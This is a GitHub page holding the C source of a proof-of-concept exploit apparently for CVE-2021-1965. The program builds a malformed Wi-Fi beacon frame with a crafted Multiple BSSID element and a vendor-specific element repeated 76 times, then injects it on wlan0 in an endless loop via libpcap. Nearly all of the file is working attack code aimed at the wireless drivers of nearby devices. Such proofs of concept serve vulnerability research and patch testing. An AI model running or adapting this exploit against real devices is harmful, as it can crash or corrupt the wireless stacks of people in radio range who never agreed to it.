forked from ProjectZeroDays/CVE-2021-1965
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCVE-2021-1965-poc.c
342 lines (279 loc) · 16.3 KB
/
CVE-2021-1965-poc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
//https://www.oreilly.com/library/view/80211-wireless-networks/0596100523/ch04.html
/* there is structure of the beacon frame. i added here for the further reading*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <stddef.h>
#include <pcap/pcap.h>
#pragma pack(push,1) //disable data allignment
#define SSID_ID (uint8_t)0x00 // ssid id -> 0
#define SUPPORTED_RATES_ID (uint8_t)0x01 // supported rates -> 1
#define DS_PARAM_ID (uint8_t)0x03 // current channel -> 3
#define RSN_ID (uint8_t)0x30 // rsn id -> 48
#define EXT_CAP (uint8_t)0x7f // Ext cap ->127
#define ERP_ID (uint8_t)0x2a // erp id -> 42
#define MBSSID_ID (uint8_t)0x47 // mbssid id 0x47 -> 71
#define TIM_ID (uint8_t)0x05 // tim id -> 5
#define TCP_REP_ID (uint8_t)0x23 // tcp report id -> 35
#define VENDOR_ID (uint8_t)0xdd // vendor spesific id 0xdd -> 221
/* we have to reverse hex values because of little endian */
#define rev2(x) (x&0xff00)>>8 | (x&0x00ff)<<8
#define rev4(x) (uint32_t)x<<24 | ((uint32_t)x<<8)&0xff0000 | ((uint32_t)x>>8)&0xff00 | (uint32_t)x>>24
uint64_t rev8(uint64_t x) {
x = (x & 0x00000000FFFFFFFF) << 32 | (x & 0xFFFFFFFF00000000) >> 32;
x = (x & 0x0000FFFF0000FFFF) << 16 | (x & 0xFFFF0000FFFF0000) >> 16; //0x000fac04
x = (x & 0x00FF00FF00FF00FF) << 8 | (x & 0xFF00FF00FF00FF00) >> 8;
return x;
}
struct header
{
uint16_t fc; /**< 802.11 Frame Control field */
uint16_t duration; /**< Microseconds to reserve link */
uint8_t addr1[6]; /**< Address 1 (immediate receiver) */
uint8_t addr2[6]; /**< Address 2 (immediate sender) */
uint8_t addr3[6]; /**< Address 3 (often "forward to") */
uint16_t seq; /**< 802.11 Sequence Control field */
}hdr;
struct beaconframe
{
/** 802.11 TSFT value at frame send */
uint64_t timestamp;
/** Interval at which beacons are sent, in units of 1024 us */
uint16_t beacon_interval;
/** Capability flags */
uint16_t capability;
}beacon;
struct ie_header {
uint8_t id; /**< Information ID */
uint8_t len; /**< Information length */
union {
uint8_t erp_info; /**< ERP flags */ /* i assigned one structure for the similar ies */
uint8_t current_channel; /**< Current channel number, 1-14 */
};
}; //erp and ds parameter id necessary for now
struct ie_ssid {
uint8_t id; /**< Information ID */
uint8_t len; /**< Information length */
uint8_t ssid[32]; /**< SSId as hex */
}ssid;
struct ie_ext_or_rates{
uint8_t id; /**< Information ID */
uint8_t len; /**< Information length */
union {
uint8_t rates[8]; /**< Rates data, one rate per byte */
uint8_t extended_cap[8]; /**< Ext capability info*/
};
}sup_rates,ext_cap;
struct wlan_tim_ie {
uint8_t id; /* WLAN_ELEMID_TIM */
uint8_t len;
uint8_t tim_count; /* DTIM count */
uint8_t tim_period; /* DTIM period */
uint8_t tim_bitctl; /* bitmap control */
uint8_t tim_bitmap[251]; /* variable-length bitmap */
}tim;
struct tcp_report{
uint8_t id;
uint8_t len;
uint8_t transmit_power;
uint8_t link_margin;
}tcp;
struct rsn {
/** Information element ID */
uint8_t id;
/** Information element length */
uint8_t len;
/** RSN information element version */
uint16_t version;
/** Cipher ID for the cipher used in multicast/broadcast frames */
uint32_t group_cipher;
/** Number of unicast ciphers supported */
uint16_t pairwise_count;
/** List of cipher IDs for supported unicast frame ciphers */
uint32_t pairwise_cipher;
/** Number of authentication types supported */
uint16_t akm_count;
/** List of authentication type IDs for supported types */
uint32_t akm_list;
/** Security capabilities field (RSN only) */
uint16_t rsn_capab;
/** Number of PMKIDs included (present only in association frames) */
uint16_t pmkid_count;
/** List of PMKIDs included, each a 16-byte SHA1 hash */
//uint8_t pmkid_list[0]; // i didn't add pmkid list beacuse we assigned pmkid count as 0
uint8_t group_management_cipher[4];
}rsn;
struct multiple_bssid
{
uint8_t id; // mbssid id 0x47 -> 71
uint8_t len; // bssid count -> default 4
uint8_t max_mbssid_indicator; // default 4
uint8_t sub_id;
uint8_t sub_len;
uint8_t sub_info[252];
}mbssid;
struct vendor_spesific
{
uint8_t id;
uint8_t len;
uint8_t oui[3];
uint8_t oui_type;
uint8_t oui_data[251];
}vendor;
int brodcast(void *buf,int bufsize)
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
fp= pcap_open_live("wlan0", // iface (example : wlan0)
100, // portion of the packet to capture (only the first 100 bytes)
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode (monitor mode)
1000, // read timeout
errbuf // error buffer
);
while(1)
{
/* Send packets to freedom */
if (pcap_inject(fp,buf, bufsize ) == 0) // pcap_inject returns 0 on failure
{
printf("\uppps\n");
return 0;
}
}
return 1;
}
//calculate RSN IE size
uint8_t rsn_size ( int npair, int nauth) {
uint8_t len = 14 + 4 * ( npair + nauth ); // id + len + version + group + pairwise count + auth count + rsn = 14
char hex[2];
sprintf(hex, "%x", len);
return strtol(hex,NULL,16)+4 ; // convert decimal to hex (subtracting the header size (header -> id and lenght) and add group management cipher and pmkid count len (-2+6))
}
uint8_t convert_to_hex(size_t len){
uint8_t hex[2];
sprintf(hex,"%lx",len);
return (uint8_t)strtol(hex,NULL,16);
}
int main(){
/*------------------ RADIOTAP ----------------------*/
uint8_t RADIOTAP[] ={ 0x00 ,0x00 ,0x34 ,0x00 ,0x6f ,0x08 \
,0x10 ,0x40 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x0c ,0xf7 ,0x17 ,0x40 ,0x01 \
,0x1e ,0xa0 ,0x00 ,0x00 ,0x00 ,0x00 ,0x48 ,0x00 ,0x13 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x0b \
,0x86 ,0x00 ,0x0a ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x8b ,0x00 ,0x00 ,0x00 ,0x55 ,0x01};
/*------------------ Header -----------------*/
struct header *hdrp = malloc(sizeof(hdr));
hdrp->fc = rev2(0x8000);
hdrp->duration = 0x0000;
uint8_t dest[6] = {0xff,0xff,0xff,0xff,0xff,0xff}; // broadcast
uint8_t src[6] = {0x1c,0x28,0xaf,0x68,0x15,0x41}; // source
uint8_t bssid[6] = {0x1c,0x28,0xaf,0x68,0x15,0x41}; // bssid
memcpy(hdrp->addr1,dest,sizeof(dest));
memcpy(hdrp->addr2,src,sizeof(src)); // i used memcpy for copy arrays to relevant addresses
memcpy(hdrp->addr3,bssid,sizeof(bssid));
hdrp->seq = 0x9480; // we can change randomly
/*------------------ Managment Block -------------*/
struct beaconframe *beaconp = malloc(sizeof(beacon));
beaconp->timestamp = rev8(0x8351f78f0f000000); // we can change randomly
beaconp->beacon_interval = rev2(0x6400);
beaconp->capability = rev2(0x1105);
/*----------------------- SSID -----------------*/
uint8_t ssidname[] = {0x41,0x41}; // we can change randomly
size_t ssid_size = sizeof(ssidname)+offsetof(struct ie_ssid,ssid);
struct ie_ssid *ssidp = malloc(ssid_size);
ssidp->id = SSID_ID;
ssidp->len = convert_to_hex(sizeof(ssidname));
memcpy(ssidp->ssid, ssidname, sizeof(ssidname)); // ssidp has garbage values 32-sizeof(ssidname) pieces, we have to delete them when copying to buffer
/*--------------------- Supported rates -----------*/
struct ie_ext_or_rates * sup_rates_p = malloc(sizeof(sup_rates));
uint8_t rates[8] = {0x8c,0x12,0x98,0x24,0xb0,0x48,0x60,0x6c};
sup_rates_p->id = SUPPORTED_RATES_ID;
sup_rates_p->len = 0x08;
memcpy(sup_rates_p->rates,rates,sizeof(rates));
/*------------ Traffic Indication Map-----------*/
uint8_t tim_bitmap[] = {0x00}; // we can change randomly (max len 251)
size_t tim_size = sizeof(tim_bitmap)+offsetof(struct wlan_tim_ie, tim_bitmap);
struct wlan_tim_ie * timp = malloc(tim_size);
timp->id = TIM_ID;
timp->len = convert_to_hex(sizeof(tim_bitmap)+3); // +3 is count,period and bitctl
timp->tim_count = 0x00;
timp->tim_period = 0x01;
timp->tim_bitctl = 0x00;
memcpy(timp->tim_bitmap,tim_bitmap,sizeof(tim_bitmap)); // tim has garbage values 32-sizeof(ssidname) pieces, we have to delete them when copying to buffer
/*------------ TCP Report Power -------------*/
struct tcp_report *tcp_reportp = malloc(sizeof(tcp));
tcp_reportp->id = TCP_REP_ID;
tcp_reportp->len = 0x02;
tcp_reportp->transmit_power = 0x05;
tcp_reportp->link_margin = 0x00;
/*--------------- RSN IE -------------*/
struct rsn * rsnp = malloc(rsn_size(1,1)+2);
rsnp->id = RSN_ID;
rsnp->len = rsn_size(1,1);
rsnp->version = rev2(0x0100);
rsnp->group_cipher = rev4(0x000fac04); // 000fac04 (CCMP)
rsnp->pairwise_count = rev2(0x0100); // 1
rsnp->pairwise_cipher = rev4(0x000fac04);
rsnp->akm_count = rev2(0x0100);
rsnp->akm_list = rev4(0x000fac02); //000fac02 (PSK)
rsnp->rsn_capab = 0xe800;
rsnp->pmkid_count = 0x0000;
memcpy(rsnp->group_management_cipher,"\x00\x0f\xac\x06",sizeof("\x00\x0f\xac\x06")-1); // subtracting null byte
/*------------ MBSSID ----------------*/
uint8_t sub_info[] = { 0x53,0x02,0x11,0x15,0x00,0x13,0x72,0x6f,0x75,0x74,0x65 \
,0x72,0x2d,0x33,0x34,0x31,0x31,0x2d,0x6e,0x61,0x74,0x65,0x2d,0x36,0x67,0x55,0x03 \
,0x0f,0x01,0x00,0x30,0x14,0x01,0x00,0x00,0x0f,0xac,0x04,0x01,0x00,0x00,0x0f,0xac \
,0x04,0x01,0x00,0x00,0x0f,0xac,0x08,0xcc,0x00,0x7f,0x0b,0x04,0x00,0x4f,0x02,0x00 \
,0x00,0x00,0x40,0x00,0x40,0x08,0xdd,0x17,0x8c,0xfd,0xf0,0x01,0x01,0x02,0x01,0x00 \
,0x02,0x01,0x01,0x03,0x03,0x01,0x01,0x00,0x04,0x01,0x01,0x09,0x02,0x0f,0x03,0xdd \
,0x18,0x00,0x50,0xf2,0x02,0x01,0x01,0x80,0x00,0x03,0xa4,0x00,0x00,0x27,0xa4,0x00 \
,0x00,0x42,0x43,0x5e,0x00,0x62,0x32,0x2f,0x00,0xdd,0x16,0x8c,0xfd,0xf0,0x04,0x00 \
,0x00,0x49,0x4c,0x51,0x03,0x02,0x09,0x72,0x01,0xcb,0x17,0x00,0x00,0x04,0x11,0x00 \
,0x00,0xdd,0x07,0x8c,0xfd,0xf0,0x04,0x01,0x01,0x01};
size_t mbssid_size = offsetof(struct multiple_bssid ,sub_info) + sizeof(sub_info);
struct multiple_bssid *mbssidp = malloc(mbssid_size);
mbssidp->id = MBSSID_ID;
mbssidp->len = convert_to_hex(sizeof(sub_info)+3); // 3 is sub_id+sub_len+max_bssid;
mbssidp->max_mbssid_indicator = 0x04;
mbssidp->sub_id = 0x00;
mbssidp->sub_len = convert_to_hex(sizeof(sub_info));
memcpy(mbssidp->sub_info,sub_info,sizeof(sub_info)); //mbssid has garbage values 32-sizeof(ssidname) pieces, we have to delete them when copying to buffer
/*-------------- Vendor Spesific -----------------*/
uint8_t oui_data[] = {0x08,0x00,0x00,0x00};
uint8_t oui[3] = {0x00,0x0c,0xe7};
size_t vendor_size = sizeof(oui_data)+ offsetof(struct vendor_spesific,oui_data);
struct vendor_spesific *vendorp = malloc(vendor_size);
vendorp->id = VENDOR_ID;
vendorp->len = convert_to_hex(sizeof(oui_data)+4);
memcpy(vendorp->oui,oui,sizeof(oui));
vendorp->oui_type = 0x08;
memcpy(vendorp->oui_data,oui_data,sizeof(oui_data));
/*--------------------Not important IEs----------------------*/
// these ies are not important in our case. we just need them
uint8_t not_important[] = { 0xff,0x03,0x37,0x02,0x01,0xff,0x1d \
,0x23,0x05,0x01,0x08,0x9a,0x40,0x10,0x04,0x60,0x08,0x88,0x1d,0x41,0x81,0x1c,0x11 \
,0x08,0x00,0xfa,0xff,0xfa,0xff,0x79,0x1c,0xc7,0x71,0x1c,0xc7,0x71,0xff,0x0c,0x24 \
,0xf4,0x3f,0x02,0x38,0xfc,0xff,0x25,0x02,0x27,0x00,0x01,0xff,0x0e,0x26,0x00,0x08 \
,0xa9,0xff,0x2f,0xa9,0xff,0x45,0x75,0xff,0x65,0x75,0xff,0xff,0x03,0x3b,0xb8,0x36 };
/*---------------------------------------------------------------*/
uint8_t empty[vendor_size*76];
for (int i = 0 ; i < vendor_size*76 ; i++ )
{ // i am copiying vendor spesific ie end of the ies N times (N = 76 for now)
empty[i] = ((uint8_t*)vendorp)[i%vendor_size];
}
size_t bufsize = sizeof(not_important)+sizeof(RADIOTAP) + sizeof(hdr)+ sizeof(beacon)+ ssid_size + sizeof(sup_rates) + tim_size + sizeof(tcp) + (rsn_size(1,1)+2) + mbssid_size+vendor_size*76 ;
void *buf = malloc(bufsize);
size_t const_size = sizeof(RADIOTAP)+ sizeof(hdr) + sizeof(beacon);
memcpy(buf,RADIOTAP,sizeof(RADIOTAP)); // copy informations to buffer
memcpy(buf+sizeof(RADIOTAP),hdrp,sizeof(hdr));
memcpy(buf+sizeof(hdr)+sizeof(RADIOTAP),beaconp,sizeof(beacon));
memcpy(buf+const_size,ssidp,ssid_size);
memcpy(buf+const_size+ssid_size,rsnp,rsn_size(1,1)+2);
memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2),sup_rates_p,sizeof(sup_rates));
memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates),mbssidp,mbssid_size);
memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+mbssid_size,timp,tim_size);
memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+tim_size+mbssid_size,tcp_reportp,sizeof(tcp));
memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+tim_size+mbssid_size+sizeof(tcp),not_important,sizeof(not_important));
memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+tim_size+mbssid_size+sizeof(tcp)+sizeof(not_important),empty,sizeof(empty));
brodcast(buf,bufsize);
return EXIT_SUCCESS;
}